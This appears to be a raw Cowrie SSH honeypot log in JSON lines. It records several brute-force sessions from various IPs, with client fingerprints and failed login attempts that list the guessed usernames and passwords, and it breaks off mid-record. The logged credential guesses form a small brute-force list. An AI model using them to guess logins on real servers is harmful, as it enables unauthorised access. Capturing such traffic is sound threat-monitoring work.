{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40767,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9fcda83160d","protocol":"ssh","message":"New connection: 2.57.121.112:40767 (159.203.135.109:22) [session: c9fcda83160d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:25.130300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:25.135230Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:25.249589Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"271294","message":"login attempt [admin/271294] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:25.748132Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"271291","message":"login attempt [admin/271291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:26.858036Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"27121970","message":"login attempt [admin/27121970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:27.967482Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"27101971","message":"login attempt [admin/27101971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:29.076865Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"270996","message":"login attempt [admin/270996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:30.186951Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:31.296897Z","src_ip":"2.57.121.112","session":"c9fcda83160d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":43632,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aecc3cd712d","protocol":"ssh","message":"New connection: 43.130.57.37:43632 (10.17.0.5:22) [session: 5aecc3cd712d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:58.250002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:58.254570Z","src_ip":"43.130.57.37","session":"5aecc3cd712d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:58.323692Z","src_ip":"43.130.57.37","session":"5aecc3cd712d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!w2e3r4t5y6","message":"login attempt [root/Q!w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:58.631711Z","src_ip":"43.130.57.37","session":"5aecc3cd712d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:59.703910Z","src_ip":"43.130.57.37","session":"5aecc3cd712d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":49386,"dst_ip":"10.17.0.5","dst_port":22,"session":"0339064fbbc2","protocol":"ssh","message":"New connection: 43.228.112.254:49386 (10.17.0.5:22) [session: 0339064fbbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:26.056010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:26.061124Z","src_ip":"43.228.112.254","session":"0339064fbbc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:26.283243Z","src_ip":"43.228.112.254","session":"0339064fbbc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hui123","message":"login attempt [root/hui123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:27.202235Z","src_ip":"43.228.112.254","session":"0339064fbbc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:28.427394Z","src_ip":"43.228.112.254","session":"0339064fbbc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34181,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8fea6def280","protocol":"ssh","message":"New connection: 2.57.121.25:34181 (159.203.135.109:22) [session: d8fea6def280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:50.530762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:50.535306Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:50.643906Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10031972","message":"login attempt [user/10031972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:51.137928Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100190","message":"login attempt [user/100190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:52.245580Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100185","message":"login attempt [user/100185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:53.354475Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10000","message":"login attempt [user/10000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:54.462808Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"0o9i8u","message":"login attempt [user/0o9i8u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:55.571990Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:45:56.682238Z","src_ip":"2.57.121.25","session":"d8fea6def280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":55360,"dst_ip":"10.17.0.5","dst_port":22,"session":"3041ecb05b44","protocol":"ssh","message":"New connection: 43.130.57.37:55360 (10.17.0.5:22) [session: 3041ecb05b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:09.981199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:09.987665Z","src_ip":"43.130.57.37","session":"3041ecb05b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:10.057266Z","src_ip":"43.130.57.37","session":"3041ecb05b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:10.365875Z","src_ip":"43.130.57.37","session":"3041ecb05b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.210.47","src_port":40037,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4a2cd6b1b9a","protocol":"ssh","message":"New connection: 194.195.210.47:40037 (159.203.135.109:22) [session: a4a2cd6b1b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:11.088822Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:11.436887Z","src_ip":"43.130.57.37","session":"3041ecb05b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":55133,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb8cb7cc0297","protocol":"ssh","message":"New connection: 103.219.170.37:55133 (159.203.135.109:22) [session: bb8cb7cc0297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:12.238217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:12.243487Z","src_ip":"103.219.170.37","session":"bb8cb7cc0297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:12.326877Z","src_ip":"103.219.170.37","session":"bb8cb7cc0297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:12.518649Z","src_ip":"194.195.210.47","session":"a4a2cd6b1b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5tD","message":"login attempt [root/1q2w3e4r5tD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:12.579225Z","src_ip":"103.219.170.37","session":"bb8cb7cc0297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:13.664629Z","src_ip":"103.219.170.37","session":"bb8cb7cc0297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":56528,"dst_ip":"10.17.0.5","dst_port":22,"session":"278adca80a88","protocol":"ssh","message":"New connection: 43.228.112.254:56528 (10.17.0.5:22) [session: 278adca80a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:45.634465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:45.639398Z","src_ip":"43.228.112.254","session":"278adca80a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:45.870932Z","src_ip":"43.228.112.254","session":"278adca80a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root11root","message":"login attempt [root/root11root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:46.809858Z","src_ip":"43.228.112.254","session":"278adca80a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:46:48.039364Z","src_ip":"43.228.112.254","session":"278adca80a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56946,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd5a33029cf9","protocol":"ssh","message":"New connection: 185.236.22.41:56946 (10.17.0.5:22) [session: cd5a33029cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:15.620955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:15.626924Z","src_ip":"185.236.22.41","session":"cd5a33029cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 